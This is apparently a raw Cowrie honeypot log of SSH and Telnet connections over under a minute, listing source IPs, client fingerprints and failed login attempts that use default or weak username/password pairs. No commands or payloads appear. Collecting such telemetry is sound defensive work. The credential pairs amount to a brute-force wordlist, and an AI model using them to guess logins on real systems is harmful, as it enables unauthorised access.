{"eventid":"cowrie.login.failed","username":"deployer","password":"123456","message":"login attempt [deployer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:08.461279Z","src_ip":"141.11.88.14","session":"2f987768e51c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:09.576206Z","src_ip":"141.11.88.14","session":"2f987768e51c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.75164461135864,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:11.024037Z","src_ip":"172.81.62.90","session":"045b67ba166e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.990517139434814,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:11.173927Z","src_ip":"172.81.62.90","session":"0d3e3ab88a41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":39504,"dst_ip":"10.17.0.5","dst_port":22,"session":"e951df490073","protocol":"ssh","message":"New connection: 141.11.88.14:39504 (10.17.0.5:22) [session: e951df490073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:16.066729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:16.604130Z","src_ip":"141.11.88.14","session":"e951df490073","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:16.607329Z","src_ip":"141.11.88.14","session":"e951df490073","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!","message":"login attempt [root/Admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:19.101807Z","src_ip":"141.11.88.14","session":"e951df490073","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:20.205596Z","src_ip":"141.11.88.14","session":"e951df490073","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":59816,"dst_ip":"10.17.0.5","dst_port":22,"session":"c85c8ad6bb3c","protocol":"ssh","message":"New connection: 141.11.88.14:59816 (10.17.0.5:22) [session: c85c8ad6bb3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:22.961537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:23.485110Z","src_ip":"141.11.88.14","session":"c85c8ad6bb3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:23.489306Z","src_ip":"141.11.88.14","session":"c85c8ad6bb3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.826199769973755,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:24.212456Z","src_ip":"172.81.62.90","session":"5d316dcb6935","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"server","password":"1234","message":"login attempt [server/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:24.864084Z","src_ip":"141.11.88.14","session":"c85c8ad6bb3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:26.068658Z","src_ip":"141.11.88.14","session":"c85c8ad6bb3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":49216,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a8fa09d1a30","protocol":"ssh","message":"New connection: 141.11.88.14:49216 (10.17.0.5:22) [session: 5a8fa09d1a30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:29.596594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:29.662252Z","src_ip":"141.11.88.14","session":"5a8fa09d1a30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:29.764866Z","src_ip":"141.11.88.14","session":"5a8fa09d1a30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa11223344","message":"login attempt [root/Aa11223344] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:30.474988Z","src_ip":"141.11.88.14","session":"5a8fa09d1a30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:31.891250Z","src_ip":"141.11.88.14","session":"5a8fa09d1a30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":58648,"dst_ip":"10.17.0.5","dst_port":22,"session":"905ad8efdbde","protocol":"ssh","message":"New connection: 103.143.231.24:58648 (10.17.0.5:22) [session: 905ad8efdbde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:33.513605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:33.518091Z","src_ip":"103.143.231.24","session":"905ad8efdbde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:33.588246Z","src_ip":"103.143.231.24","session":"905ad8efdbde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":49244,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb33a28201bd","protocol":"ssh","message":"New connection: 141.11.88.14:49244 (10.17.0.5:22) [session: eb33a28201bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:33.802058Z"}
{"eventid":"cowrie.login.failed","username":"es","password":"es@2026","message":"login attempt [es/es@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:33.904112Z","src_ip":"103.143.231.24","session":"905ad8efdbde","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:34.619264Z","src_ip":"141.11.88.14","session":"eb33a28201bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:34.622658Z","src_ip":"141.11.88.14","session":"eb33a28201bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:34.977745Z","src_ip":"103.143.231.24","session":"905ad8efdbde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":34108,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c9904ebee75","protocol":"ssh","message":"New connection: 41.86.34.139:34108 (10.17.0.5:22) [session: 4c9904ebee75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:35.843221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:35.848233Z","src_ip":"41.86.34.139","session":"4c9904ebee75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:36.055831Z","src_ip":"41.86.34.139","session":"4c9904ebee75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe123..","message":"login attempt [root/Qwe123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:36.918606Z","src_ip":"41.86.34.139","session":"4c9904ebee75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45512,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b84f12b43ab","protocol":"telnet","message":"New connection: 128.199.8.54:45512 (159.203.135.109:23) [session: 3b84f12b43ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:37.408965Z"}
{"eventid":"cowrie.login.failed","username":"pi","password":"12345678","message":"login attempt [pi/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:37.789554Z","src_ip":"141.11.88.14","session":"eb33a28201bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:38.132958Z","src_ip":"41.86.34.139","session":"4c9904ebee75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:39.029335Z","src_ip":"141.11.88.14","session":"eb33a28201bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":37724,"dst_ip":"10.17.0.5","dst_port":23,"session":"2daf31f19a5a","protocol":"telnet","message":"New connection: 94.23.66.112:37724 (10.17.0.5:23) [session: 2daf31f19a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:39.049109Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":11096,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f2821485d5c","protocol":"ssh","message":"New connection: 141.11.88.14:11096 (10.17.0.5:22) [session: 3f2821485d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:43.329317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:43.372727Z","src_ip":"141.11.88.14","session":"3f2821485d5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:43.477973Z","src_ip":"141.11.88.14","session":"3f2821485d5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:44.084518Z","src_ip":"141.11.88.14","session":"3f2821485d5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:45.176565Z","src_ip":"141.11.88.14","session":"3f2821485d5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":23866,"dst_ip":"10.17.0.5","dst_port":22,"session":"15f1cba7de80","protocol":"ssh","message":"New connection: 141.11.88.14:23866 (10.17.0.5:22) [session: 15f1cba7de80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:50.193394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:50.239524Z","src_ip":"141.11.88.14","session":"15f1cba7de80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:50.322011Z","src_ip":"141.11.88.14","session":"15f1cba7de80","protocol":"ssh"}
